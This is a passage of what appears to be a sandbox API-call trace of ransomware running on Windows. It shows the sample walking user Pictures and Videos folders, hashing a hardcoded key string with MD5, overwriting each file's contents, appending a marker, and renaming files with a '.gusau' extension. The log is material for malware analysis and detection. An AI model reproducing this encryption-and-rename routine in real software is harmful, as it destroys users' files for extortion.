(hProv=0xdf0828, dwFlags=0x0) returned 1 [0119.044] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xbba2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.044] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.044] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.044] CloseHandle (hObject=0x610) returned 1 [0119.045] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\KkXM-cBNoii_tDa0YyP\\fXLlrMkF3y385T7R_VK\\V6CUx4Z.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kulbm0r5-grtjk8w\\kkxm-cbnoii_tda0yyp\\fxllrmkf3y385t7r_vk\\v6cux4z.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\KkXM-cBNoii_tDa0YyP\\fXLlrMkF3y385T7R_VK\\V6CUx4Z.png.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kulbm0r5-grtjk8w\\kkxm-cbnoii_tda0yyp\\fxllrmkf3y385t7r_vk\\v6cux4z.png.gusau")) returned 1 [0119.047] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb21cb40, ftCreationTime.dwHighDateTime=0x1d4cae8, ftLastAccessTime.dwLowDateTime=0x39877430, ftLastAccessTime.dwHighDateTime=0x1d4c9e1, ftLastWriteTime.dwLowDateTime=0x39877430, ftLastWriteTime.dwHighDateTime=0x1d4c9e1, nFileSizeHigh=0x0, nFileSizeLow=0xbba2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="V6CUx4Z.png", cAlternateFileName="")) returned 0 [0119.047] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.047] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.047] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.047] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\") returned="sVLD8M-oJOW\\" [0119.047] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0119.047] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f7fd0 [0119.047] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0119.047] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\") returned="muLwtSyMNArdmekL\\" [0119.047] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0119.047] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0119.047] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0119.047] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7fd0 | out: hHeap=0xd10000) returned 1 [0119.047] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\") returned="ynWwf7IE7\\" [0119.048] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f7a0 [0119.048] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0119.048] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0119.048] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0119.048] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f7a0 | out: hHeap=0xd10000) returned 1 [0119.048] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.048] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0119.048] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e28 | out: hHeap=0xd10000) returned 1 [0119.048] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.048] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0119.048] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.048] PathFindFileNameW (pszPath="") returned="" [0119.048] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0119.048] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45ee43f0, ftCreationTime.dwHighDateTime=0x1d4c6ff, ftLastAccessTime.dwLowDateTime=0x8addec00, ftLastAccessTime.dwHighDateTime=0x1d4c7fd, ftLastWriteTime.dwLowDateTime=0x8addec00, ftLastWriteTime.dwHighDateTime=0x1d4c7fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.050] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0119.050] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45ee43f0, ftCreationTime.dwHighDateTime=0x1d4c6ff, ftLastAccessTime.dwLowDateTime=0x8addec00, ftLastAccessTime.dwHighDateTime=0x1d4c7fd, ftLastWriteTime.dwLowDateTime=0x8addec00, ftLastWriteTime.dwHighDateTime=0x1d4c7fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.050] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf18d860, ftCreationTime.dwHighDateTime=0x1d4c85e, ftLastAccessTime.dwLowDateTime=0x6e0a4b40, ftLastAccessTime.dwHighDateTime=0x1d4c687, ftLastWriteTime.dwLowDateTime=0x6e0a4b40, ftLastWriteTime.dwHighDateTime=0x1d4c687, nFileSizeHigh=0x0, nFileSizeLow=0xe804, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="l65Ij.avi", cAlternateFileName="")) returned 1 [0119.050] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0119.050] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xee) returned 0x38e0b90 [0119.050] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0119.050] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\l65Ij.avi") returned=".avi" [0119.050] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\l65Ij.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\svld8m-ojow\\l65ij.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.051] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=59396) returned 1 [0119.051] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.053] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xe7de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.053] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.054] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0119.055] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.055] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.055] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xe804, lpOverlapped=0x0) returned 1 [0119.055] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.056] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0119.056] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.056] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.056] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0828) returned 1 [0119.056] CryptCreateHash (in: hProv=0xdf0828, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.057] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.057] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.057] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0119.057] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.057] GetLastError () returned 0x0 [0119.057] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.057] CryptReleaseContext (hProv=0xdf0828, dwFlags=0x0) returned 1 [0119.057] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0119.057] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xe800) returned 0x39f9f20 [0119.057] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0119.057] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.057] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0xe7ff, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0xe7ff, lpOverlapped=0x0) returned 1 [0119.057] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0119.057] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xe804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.058] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0119.058] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0119.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0119.058] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0119.058] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.058] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0119.058] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0119.058] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0119.058] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.058] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.058] CloseHandle (hObject=0x610) returned 1 [0119.059] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930420 [0119.059] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8c0) returned 0x39f4ef8 [0119.059] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930420 | out: hHeap=0xd10000) returned 1 [0119.059] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\l65Ij.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\svld8m-ojow\\l65ij.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\l65Ij.avi.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\svld8m-ojow\\l65ij.avi.gusau")) returned 1 [0119.060] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.060] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.060] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38e0b90 | out: hHeap=0xd10000) returned 1 [0119.061] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58df4c00, ftCreationTime.dwHighDateTime=0x1d4cb9d, ftLastAccessTime.dwLowDateTime=0xfbae4a00, ftLastAccessTime.dwHighDateTime=0x1d4ce61, ftLastWriteTime.dwLowDateTime=0xfbae4a00, ftLastWriteTime.dwHighDateTime=0x1d4ce61, nFileSizeHigh=0x0, nFileSizeLow=0x145d1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lZ73i.avi", cAlternateFileName="")) returned 1 [0119.061] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0119.061] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xee) returned 0x38e0b90 [0119.061] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0119.061] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\lZ73i.avi") returned=".avi" [0119.061] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\lZ73i.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\svld8m-ojow\\lz73i.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.062] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=83409) returned 1 [0119.062] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.064] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x145ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.064] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.065] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0119.065] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.065] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.065] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x145d1, lpOverlapped=0x0) returned 1 [0119.066] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.066] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0119.066] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.066] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.066] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0828) returned 1 [0119.067] CryptCreateHash (in: hProv=0xdf0828, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.067] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.067] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.067] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0119.067] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.067] GetLastError () returned 0x0 [0119.067] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.067] CryptReleaseContext (hProv=0xdf0828, dwFlags=0x0) returned 1 [0119.067] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0119.068] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x145d0) returned 0x39f9f20 [0119.068] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0119.068] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.068] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x145cc, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x145cc, lpOverlapped=0x0) returned 1 [0119.068] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0119.068] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x145d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.068] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0119.068] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0119.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0119.068] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0119.069] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.069] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0119.069] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0119.069] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0119.069] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.069] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.069] CloseHandle (hObject=0x610) returned 1 [0119.070] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930420 [0119.070] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8c0) returned 0x39f4ef8 [0119.070] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930420 | out: hHeap=0xd10000) returned 1 [0119.070] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\lZ73i.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\svld8m-ojow\\lz73i.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\lZ73i.avi.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\svld8m-ojow\\lz73i.avi.gusau")) returned 1 [0119.071] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.071] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.071] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38e0b90 | out: hHeap=0xd10000) returned 1 [0119.071] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d8f42d0, ftCreationTime.dwHighDateTime=0x1d4c55e, ftLastAccessTime.dwLowDateTime=0x7ce6b8a0, ftLastAccessTime.dwHighDateTime=0x1d4cd9a, ftLastWriteTime.dwLowDateTime=0x7ce6b8a0, ftLastWriteTime.dwHighDateTime=0x1d4cd9a, nFileSizeHigh=0x0, nFileSizeLow=0x18311, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NDd8nvPiASazxx_Qnd.mp4", cAlternateFileName="NDD8NV~1.MP4")) returned 1 [0119.072] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0119.072] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xee) returned 0x38e0b90 [0119.072] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0119.072] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\NDd8nvPiASazxx_Qnd.mp4") returned=".mp4" [0119.072] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\NDd8nvPiASazxx_Qnd.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\svld8m-ojow\\ndd8nvpiasazxx_qnd.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.072] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=99089) returned 1 [0119.072] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.074] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x182eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.074] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.076] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0119.076] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.076] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.076] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x18311, lpOverlapped=0x0) returned 1 [0119.077] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.077] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0119.077] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.077] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.077] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0828) returned 1 [0119.078] CryptCreateHash (in: hProv=0xdf0828, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 